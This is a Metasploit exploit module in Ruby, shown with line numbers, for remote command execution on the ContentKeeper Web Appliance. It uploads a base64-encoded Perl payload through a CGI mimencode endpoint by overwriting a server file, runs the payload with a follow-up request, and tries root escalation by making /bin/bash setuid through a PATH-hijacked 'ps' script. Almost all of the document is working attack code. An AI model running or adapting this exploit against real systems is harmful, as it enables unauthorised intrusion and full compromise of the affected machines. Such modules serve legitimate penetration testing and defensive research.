Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'		   => 'ContentKeeper Web Remote Command Execution',
14
      'Description'  => %q{
15
          This module exploits the ContentKeeper Web Appliance. Versions prior
16
        to 125.10 are affected. This module exploits a combination of weaknesses
17
        to enable remote command execution as the Apache user. By setting
18
        SkipEscalation to false, this module will attempt to setuid the bash shell.
19
      },
20
      'Author' 	   => [ 'aushack' ],
21
      'Arch'		   => [ ARCH_CMD ],
22
      'License'      => MSF_LICENSE,
23
      'References'   =>
24
        [
25
          [ 'OSVDB', '54551' ],
26
          [ 'OSVDB', '54552' ],
27
          [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
28
        ],
29
      'Privileged'	=> false,
30
      'Payload'      =>
31
        {
32
          'DisableNops' => true,
33
          'Space'       => 1024,
34
          'Compat'      =>
35
            {
36
              'PayloadType' => 'cmd',
37
              'RequiredCmd' => 'generic perl telnet',
38
            }
39
        },
40
      'Platform'     => ['unix'],
41
      'Targets'      =>
42
        [
43
          [ 'Automatic', { } ]
44
        ],
45
      'DisclosureDate' => '2009-02-25',
46
      'DefaultTarget' => 0))
47

48
    register_options(
49
      [
50
        Opt::RPORT(80),
51
        OptString.new('OVERWRITE', [ true,  "The target file to upload our payload (spamkeeper.dat, bak.txt, formdate.pl etc)", 'spamkeeper.dat']),
52
        OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
53
      ])
54
  end
55

56
  def check
57
    connect
58
    sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
59
    banner = sock.get_once(-1, 3)
60
    disconnect
61

62
    if (banner =~ /500 Internal/)
63
      return Exploit::CheckCode::Vulnerable
64
    end
65
      return Exploit::CheckCode::Safe
66
  end
67

68
  def exploit
69

70
    exp = "#!/usr/bin/perl\n"
71
    exp << "print \"Content-type: text/html\\n\\n\"\;\n\n"
72
    exp << "use IO::Socket::INET;\n"
73

74
    if (datastore['PAYLOAD'] =~ /perl/)
75
      if not datastore['SkipEscalation']
76
        print_status("Attempting to facilitate root escalation...")
77
        exp << %q{ system("echo /bin/chmod u+s /bin/bash > ps; /bin/chmod o+x ps; PATH=.:$PATH; ./benetool stopall;"); } # We can use either 'ps' or 'grep' but ps is fine.
78
      end
79
      exp << payload.encoded.gsub('perl -MIO -e ', '').gsub('\'', '') # We're already inside a perl script!
80
    else
81
      exp << "system(\""
82
      exp << payload.encoded.gsub('"', '\"')
83
      exp << "\");\n"
84
    end
85

86
    body = Rex::Text.encode_base64(exp)
87

88
    connect
89

90
    sploit = "POST /cgi-bin/ck/mimencode?-u+-o+#{datastore['OVERWRITE']} HTTP/1.1\r\n"
91
    sploit << "Host: #{datastore['RHOST']}\r\n"
92
    sploit << "Content-Length: #{body.length}\r\n\r\n"
93

94
    print_status("Uploading payload to target...")
95
    sock.put(sploit + body + "\r\n\r\n")
96
    disconnect
97

98
    select(nil,nil,nil,3) # Wait a few seconds..
99
    print_status("Calling payload...")
100
    connect
101
    req = "GET /cgi-bin/ck/#{datastore['OVERWRITE']} HTTP/1.1\r\n" # Almost all files are owned by root, chmod'ed 777 :) rwx
102
    req << "Host: #{datastore['RHOST']}\r\n"
103
    sock.put(req + "\r\n\r\n")
104

105
    handler
106
    disconnect
107
    select(nil,nil,nil,3) # Wait for session creation.
108
    if not datastore['SkipEscalation'] and session_created? and datastore['PAYLOAD'] =~ /perl/
109
      print_status("Privilege escalation appears to have worked!")
110
      print_status("/bin/bash is now root setuid! Type 'bash -p' to get root.")
111
      print_status("Don't forget to clean up afterwards (chmod -s /bin/bash and restore an original copy of the OVERWRITE file).")
112
    end
113

114
  end
115
end
116

117